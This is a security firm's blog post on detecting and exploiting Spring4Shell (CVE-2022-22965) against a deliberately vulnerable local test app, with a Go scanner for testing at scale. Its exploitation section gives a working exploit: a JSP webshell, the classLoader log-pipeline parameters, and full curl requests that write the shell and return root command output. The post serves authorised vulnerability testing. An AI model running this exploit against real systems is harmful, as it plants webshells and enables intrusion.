Effective Spring4Shell Scanning and Safe Exploitation

Est. Reading Time: 8 mins
images/spring-boot-banner.png

Spring4Shell (CVE-2022-22965) Background

A vulnerability in the Spring Core Framework that allows for unauthenticated remote code execution (RCE) was announced on March 31, 2022, and assigned CVE-2022-22965. More information, including patching guidance, can be found directly from Spring.

The attack is relatively simple and only requires three things (at this time):

  1. Spring MVC or WebFlux application - versions 5.3.0-5.3.17, 5.2.0-5.2.19, and older versions
  2. Application deployed to Tomcat as a WAR file (not a JAR)
  3. JDK 9+

This post will focus on how you can effectively scan your environment for CVE-2022-22965. We’re going to break this down into a few different steps:

  1. Creating a Testing Sandbox
  2. Manual Verification
  3. Manual Exploitation
  4. Fixes for Common Testing Issues
  5. Scanning at Scale

Creating a Testing Sandbox

You’re reading this, which means you’re well aware of the Spring4Shell vulnerability. That’s great! When it comes to scanning your organization for the latest hot vulnerability, though, knowing about the issue is only half the battle.

Almost as bad as not knowing about the vulnerability at all, is scanning yourself and determining that you aren’t at risk when you actually are. Automated vulnerability scanners play an important role in any organization’s security toolkit, but unfortunately, we’ve recently seen many of the top scanners completely miss the mark on Log4Shell and Spring4Shell.

To help ensure your toolkit is configured and functioning correctly, Fracture Labs developed a simple intentionally vulnerable app for you to test your tools against: https://github.com/fracturelabs/spring4shell_victim. We found many of the early sample WAR files to be overly complex and required too much work to verify they were safe to execute.

You can build our clean and easy to understand WAR file using Maven and deploy it to an existing Tomcat instance, but we recommend keeping it simple and deploying a local instance using Docker.

Build

[~] $ git clone https://github.com/fracturelabs/spring4shell_victim.git
[~] $ cd spring4shell_victim
[~] $ docker image build -t spring4shell_victim .

Run

There are two routes defined: /spring4shell_victim and /spring4shell_victim/vulnerable. You can use this to verify that your scanning tools are properly working. The default route (/) is specifically not vulnerable to get you to think about how to configure your scanning tools to find vulnerable endpoints since many automated solutions simply give up if the main route fails.

[~] $ docker container run -it -p 8080:8080 --name spring4shell_victim --rm spring4shell_victim

Spring Boot App Banner


Manual Verification

Luckily, verifying a vulnerable route is straightforward by using a crafted request. You can even check if a GET handler is vulnerable with your browser, but testing a POST request is not much more work.

The key to this technique is to inject some benign code that will cause our request to fail with a 500 Error. This can be done by injecting a URL-encoded version of class.module.classLoader.URLs[-1].

First, let’s make a request to a vulnerable endpoint so you can see what success looks like. Note the 200 response status code for a legitimate request followed by a 500 response status code for our crafted request.

# Make a baseline request to ensure the service returns a 200 status
[~] $ curl -is localhost:8080/spring4shell_victim/vulnerable

# Inject faulty code that will cause a 500 error
[~] $ curl -is localhost:8080/spring4shell_victim/vulnerable?class.module.classLoader.URLs%5b-1%5d

Spring4Shell Manual Verification Worked

That was pretty easy! Next, let’s make a request to a route that is not vulnerable so you can see the difference. Note the 200 response status code for each, indicating this route is not vulnerable.

# Make a baseline request to ensure the service returns a 200 status
[~] $ curl -is localhost:8080/spring4shell_victim/

# Inject faulty code that will cause a 500 error
[~] $ curl -is localhost:8080/spring4shell_victim/?class.module.classLoader.URLs%5b-1%5d

Spring4Shell Manual Verification Not Vulnerable


Manual Exploitation

The process to exploit a vulnerable system simply builds upon the manual verification technique above. It does require the addition of some HTTP headers to evade filtering controls, but otherwise is very straightforward.

Note: this guide is intended to help organizations assess their risk by determining the feasibility and likelihood of an exploit against their systems. Unfortunately, sometimes it takes a complete proof-of-concept by an internal security team or a trusted third party (like Fracture Labs) to convince management to take action. You must always receive permission before attempting any of these techniques!

Before we dive into how to exploit this vulnerability, let’s jump straight to the end goal: we want to create a malicious JSP file that can be called to execute code that we control. Here’s an example of the file that we use for our testing.

<%
  out.println("<html><body><h1>go-scan-spring-whoami</h1><pre>");
  if("go-scan-spring".equals(request.getParameter("pwd"))) {
    java.io.InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
    int a = -1;   
    byte[] b = new byte[2048];   
    while((a=in.read(b))!=-1) {
      out.println(new String(b));
    }
  } else {
    out.println("Wrong or missing password");
  }
  out.println("</h1></pre></body></html>");
%>//

To get this code to update and bypass the original filter controls, we’ll need to set some HTTP headers:

Prefix: <%
S4sid: 550bafe0-0c6c-4f3e-a46b-0901c28e690b
Suffix: %>//
Var1: Runtime

The following parameters can be passed in via the URL in a GET request or as the body in a POST request:

class.module.classLoader.resources.context.parent.pipeline.first.prefix=%25%7BS4SID%7Di%22&
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/go-scan-spring&
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=-G&
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BPrefix%7Di+out.println%28%22%3Chtml%3E%3Cbody%3E%3Ch1%3Ego-scan-spring-whoami%3C%2Fh1%3E%3Cpre%3E%22%29%3B+if%28%22%25%7BS4SID%7Di%22.equals%28request.getParameter%28%22pwd%22%29%29%29+%7B+++java.io.InputStream+in+%3D+%25%7BVar1%7Di.getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%3B+++int+a+%3D+-1%3B+++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+++while%28%28a%3Din.read%28b%29%29%21%3D-1%29+%7B+++++out.println%28new+String%28b%29%29%3B+++%7D+%7D+else+%7B+++out.println%28%22Wrong+or+missing+password%22%29%3B+%7D+out.println%28%22%3C%2Fh1%3E%3C%2Fpre%3E%3C%2Fbody%3E%3C%2Fhtml%3E%22%29%3B+%25%7BSuffix%7Di

We typically use Burp to test this, but you can also use something simple like curl.

# Test a GET reqeust
[~] $ curl -i -s -k -X $'GET' \
    -H $'Host: localhost:8080' -H $'User-Agent: Go-http-client/1.1' -H $'Prefix: <%' -H $'S4sid: 550bafe0-0c6c-4f3e-a46b-0901c28e690b' -H $'Suffix: %>//' -H $'Var1: Runtime' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
    $'http://localhost:8080/spring4shell_victim/vulnerable?class.module.classLoader.resources.context.parent.pipeline.first.prefix=550bafe0-0c6c-4f3e-a46b-0901c28e690b&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/go-scan-spring&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=-G&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BPrefix%7Di+out.println%28%22%3Chtml%3E%3Cbody%3E%3Ch1%3Ego-scan-spring-whoami%3C%2Fh1%3E%3Cpre%3E%22%29%3B+if%28%22%25%7BS4SID%7Di%22.equals%28request.getParameter%28%22pwd%22%29%29%29+%7B+++java.io.InputStream+in+%3D+%25%7BVar1%7Di.getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%3B+++int+a+%3D+-1%3B+++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+++while%28%28a%3Din.read%28b%29%29%21%3D-1%29+%7B+++++out.println%28new+String%28b%29%29%3B+++%7D+%7D+else+%7B+++out.println%28%22Wrong+or+missing+password%22%29%3B+%7D+out.println%28%22%3C%2Fh1%3E%3C%2Fpre%3E%3C%2Fbody%3E%3C%2Fhtml%3E%22%29%3B+%25%7BSuffix%7Di'

# Test a POST request
[~] $ curl -i -s -k -X $'POST' \
    -H $'Host: localhost:8080' -H $'User-Agent: Go-http-client/1.1' -H $'Prefix: <%' -H $'S4sid: 550bafe0-0c6c-4f3e-a46b-0901c28e690b' -H $'Suffix: %>//' -H $'Var1: Runtime' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 1063' \
    --data-binary $'class.module.classLoader.resources.context.parent.pipeline.first.prefix=550bafe0-0c6c-4f3e-a46b-0901c28e690b&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/go-scan-spring&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=-G&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BPrefix%7Di+out.println%28%22%3Chtml%3E%3Cbody%3E%3Ch1%3Ego-scan-spring-whoami%3C%2Fh1%3E%3Cpre%3E%22%29%3B+if%28%22%25%7BS4SID%7Di%22.equals%28request.getParameter%28%22pwd%22%29%29%29+%7B+++java.io.InputStream+in+%3D+%25%7BVar1%7Di.getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%3B+++int+a+%3D+-1%3B+++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+++while%28%28a%3Din.read%28b%29%29%21%3D-1%29+%7B+++++out.println%28new+String%28b%29%29%3B+++%7D+%7D+else+%7B+++out.println%28%22Wrong+or+missing+password%22%29%3B+%7D+out.println%28%22%3C%2Fh1%3E%3C%2Fpre%3E%3C%2Fbody%3E%3C%2Fhtml%3E%22%29%3B+%25%7BSuffix%7Di' \
    $'http://localhost:8080/spring4shell_victim/vulnerable'

The exploit can be verified by running the following:

[~] $ curl --output - 'http://localhost:8080/go-scan-spring/550bafe0-0c6c-4f3e-a46b-0901c28e690b-AD.jsp?pwd=550bafe0-0c6c-4f3e-a46b-0901c28e690b'
<html><body><h1>go-scan-spring-whoami</h1><pre>
root

</h1></pre></body></html>
//

Fixes for Common Testing Issues

Since the exploit messes with the application logging functions, timing can be important to make sure the exploit code doesn’t get corrupted. Fracture Labs (and likely many others) have identified a few crucial steps to cleanly exploiting systems at scale using scripted attacks.

  1. If the manual verification method above generates a 500 error, we recommend sleeping your script for 10 seconds to allow the app time to recover before executing the exploit.
  2. We never recommend using off-the-shelf exploits as is, since you could inadvertently be creating more risk for your organization. For example, many of the initial exploits for Spring4Shell created a webshell called tomcatwar.jsp with a password of j. If you exploit your own systems with that exploit, a commonly-published backdoor will be available to anyone with network access to the system. If you do exploit your own systems, it’s important to change the webshell filename, set a unique password, and clean-up after you’re done by removing the shell.
  3. We’ve found scripted attacks work much more reliably if we set the fileDateFormat to something other than blank, such as -G (which appends -AD to the webshell’s base filename).
  4. After you run the initial exploit, we recommend sleeping the script for another 10 seconds and then changing the fileDateFormat so future requests get logged to a different file. We like to use a format like -yyMMdd to keep it unique. Without this (or if you do it too quickly after the initial exploit), your exploit file may get corrupted or the code written to this second log file instead.

Scanning at Scale

After realizing that a popular commercial vulnerability scanner missed our intentionally vulnerable app, we decided to write our own scanner ( https://github.com/fracturelabs/go-scan-spring) to help our clients find and fix their issues.

The code is still being updated to add more features, but it has been working well for us so far. It’s written in Go, so it’s smoking fast (except for the required sleep time for stability reasons). Let’s demonstrate how this works.

Build

[~] $ git clone https://github.com/fracturelabs/go-scan-spring.git
[~] $ cd go-scan-spring

Run a basic safe scan

This version of the scan only performs the verification step; it does not actually write any code to the victim machine.

[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan --run-safe -f -
2022-04-06T16:36:58-0500 INF Scan initiated target file=-
2022-04-06T16:37:09-0500 WRN Finished URL Baseline=0 Exploit=0 Safe=500 Verification= exploited=false url=http://localhost:8080/spring4shell_victim/vulnerable vulnerable=true
2022-04-06T16:37:09-0500 INF Processing complete

Spring4Shell Exploited

Check out the help for more options!

[~/opt/go-scan-spring] $ go run main.go help scan

Run a scan against target URLs looking for vulnerable services

Usage:
  go-scan-spring scan [flags]

Flags:
  -f, --file string         Target URL filename (- for stdin)
      --follow-redirect     Follow redirects
  -h, --help                help for scan
      --http-get            Test using HTTP GET requests (must set =false to disable) (default true)
      --http-post           Test using HTTP POST requests (must set =false to disable) (default true)
      --identifier string   Unique scan identifier (used as a password and an exploit filename) (default "go-scan-spring")
  -x, --proxy string        Upstream proxy
      --run-baseline        Run a baseline test to see if endpoint is up
      --run-exploit         Run an exploit to retrieve the owner of the Tomcat process
      --run-safe            Run a safe test to see if endpoint is vulnerable
  -s, --sleep int           Time to sleep between exploit steps. This is needed to allow time for deployment. (default 10)
  -t, --threads int         Number of threads (default 5)

Global Flags:
      --debug   enable debug logging

Run a basic exploit

This version of the scan performs three tests: a baseline test to make sure the service is active, a safe vulnerability check, and finally our simple exploit. After authenticating to the exploit file, the results of the whoami command will be returned.

[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable/ | go run main.go scan --run-baseline --run-safe  --run-exploit -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b
2022-04-06T16:41:40-0500 INF Scan initiated target file=-
2022-04-06T16:42:00-0500 WRN Finished URL Baseline=200 Exploit=200 Safe=500 Verification=http://localhost:8080/go-scan-spring/550bafe0-0c6c-4f3e-a46b-0901c28e690b-AD.jsp?pwd=550bafe0-0c6c-4f3e-a46b-0901c28e690b exploited=true url=http://localhost:8080/spring4shell_victim/vulnerable/ vulnerable=true
2022-04-06T16:42:00-0500 INF Processing complete
[~/opt/go-scan-spring] $ curl --output - 'http://localhost:8080/go-scan-spring/550bafe0-0c6c-4f3e-a46b-0901c28e690b-AD.jsp?pwd=550bafe0-0c6c-4f3e-a46b-0901c28e690b'
<html><body><h1>go-scan-spring-whoami</h1><pre>
root

</h1></pre></body></html>
//

Note: make sure to set a unique identifier when running the script. Too many organizations are running default exploit code found online, which means once they exploit their own systems, someone else can just use the shell (tomcatwar.jsp) they uploaded. Our scanner uses a different directory and allows you to set the filename and password (same value) for uniqueness and for tracking your own scanning activities.

Getting Assistance

Please reach out to us if you have any questions on how to use this tooling or if you need assistance scanning your environment!


Let us know what you think

Please share this post if you found it useful and reach out if you have any feedback or questions!

Big Breaks Come From Small Fractures.

You might not know how at-risk your security posture is until somebody breaks in . . . and the consequences of a break in could be big. Don't let small fractures in your security protocols lead to a breach. We'll act like a hacker and confirm where you're most vulnerable. As your adversarial allies, we'll work with you to proactively protect your assets. Schedule a consultation with our Principal Security Consultant to discuss your project goals today.